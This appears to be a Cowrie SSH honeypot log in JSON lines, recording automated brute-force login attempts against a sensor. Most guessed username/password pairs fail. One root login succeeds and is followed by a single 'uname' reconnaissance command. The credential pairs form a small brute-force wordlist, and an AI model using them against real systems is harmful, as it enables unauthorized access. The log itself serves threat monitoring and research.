{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:00.898778Z","src_ip":"101.44.96.62","session":"227335b7a6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:01.558573Z","src_ip":"101.44.96.62","session":"227335b7a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:02.778978Z","src_ip":"101.44.96.62","session":"227335b7a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59228,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a85c4565e1","protocol":"ssh","message":"New connection: 195.178.110.218:59228 (159.203.135.109:22) [session: 77a85c4565e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:05.774271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:05.779007Z","src_ip":"195.178.110.218","session":"77a85c4565e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:05.855668Z","src_ip":"195.178.110.218","session":"77a85c4565e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:06.081071Z","src_ip":"195.178.110.218","session":"77a85c4565e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:07.158896Z","src_ip":"195.178.110.218","session":"77a85c4565e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"d793b6e15e38","protocol":"ssh","message":"New connection: 101.44.96.62:58474 (159.203.135.109:22) [session: d793b6e15e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:14.143489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:14.148957Z","src_ip":"101.44.96.62","session":"d793b6e15e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:14.378061Z","src_ip":"101.44.96.62","session":"d793b6e15e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:15.029438Z","src_ip":"101.44.96.62","session":"d793b6e15e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:16.249091Z","src_ip":"101.44.96.62","session":"d793b6e15e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50794,"dst_ip":"159.203.135.109","dst_port":22,"session":"661dbd468f75","protocol":"ssh","message":"New connection: 101.44.96.62:50794 (159.203.135.109:22) [session: 661dbd468f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:27.668123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:27.673561Z","src_ip":"101.44.96.62","session":"661dbd468f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:27.888275Z","src_ip":"101.44.96.62","session":"661dbd468f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:28.536319Z","src_ip":"101.44.96.62","session":"661dbd468f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:29.752868Z","src_ip":"101.44.96.62","session":"661dbd468f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":52228,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb73348aaf8","protocol":"ssh","message":"New connection: 101.44.96.62:52228 (159.203.135.109:22) [session: 6fb73348aaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:41.164263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:41.168407Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:41.382379Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"4e2q1w3r","message":"login attempt [root/4e2q1w3r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:42.025221Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:42.480551Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:42.483138Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:42.699552Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:42.703128Z","src_ip":"101.44.96.62","session":"6fb73348aaf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33250,"dst_ip":"159.203.135.109","dst_port":22,"session":"f93b32fdc380","protocol":"ssh","message":"New connection: 101.44.96.62:33250 (159.203.135.109:22) [session: f93b32fdc380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:54.615248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:54.619413Z","src_ip":"101.44.96.62","session":"f93b32fdc380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:54.836261Z","src_ip":"101.44.96.62","session":"f93b32fdc380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask123","message":"login attempt [flask/flask123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:55.494457Z","src_ip":"101.44.96.62","session":"f93b32fdc380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:56.713269Z","src_ip":"101.44.96.62","session":"f93b32fdc380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"066e005e059f","protocol":"ssh","message":"New connection: 101.44.96.62:40276 (159.203.135.109:22) [session: 066e005e059f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:08.100835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:08.108644Z","src_ip":"101.44.96.62","session":"066e005e059f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:08.323745Z","src_ip":"101.44.96.62","session":"066e005e059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"12345678","message":"login attempt [gitlab/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:08.968755Z","src_ip":"101.44.96.62","session":"066e005e059f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:10.185044Z","src_ip":"101.44.96.62","session":"066e005e059f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58856,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db700290e20","protocol":"ssh","message":"New connection: 101.44.96.62:58856 (159.203.135.109:22) [session: 4db700290e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:21.602926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:21.607675Z","src_ip":"101.44.96.62","session":"4db700290e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:21.824533Z","src_ip":"101.44.96.62","session":"4db700290e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:22.475171Z","src_ip":"101.44.96.62","session":"4db700290e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:23.694977Z","src_ip":"101.44.96.62","session":"4db700290e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59056,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0a4f813f5f","protocol":"ssh","message":"New connection: 101.44.96.62:59056 (159.203.135.109:22) [session: aa0a4f813f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:35.013418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:35.017711Z","src_ip":"101.44.96.62","session":"aa0a4f813f5f","protocol":"ssh"}
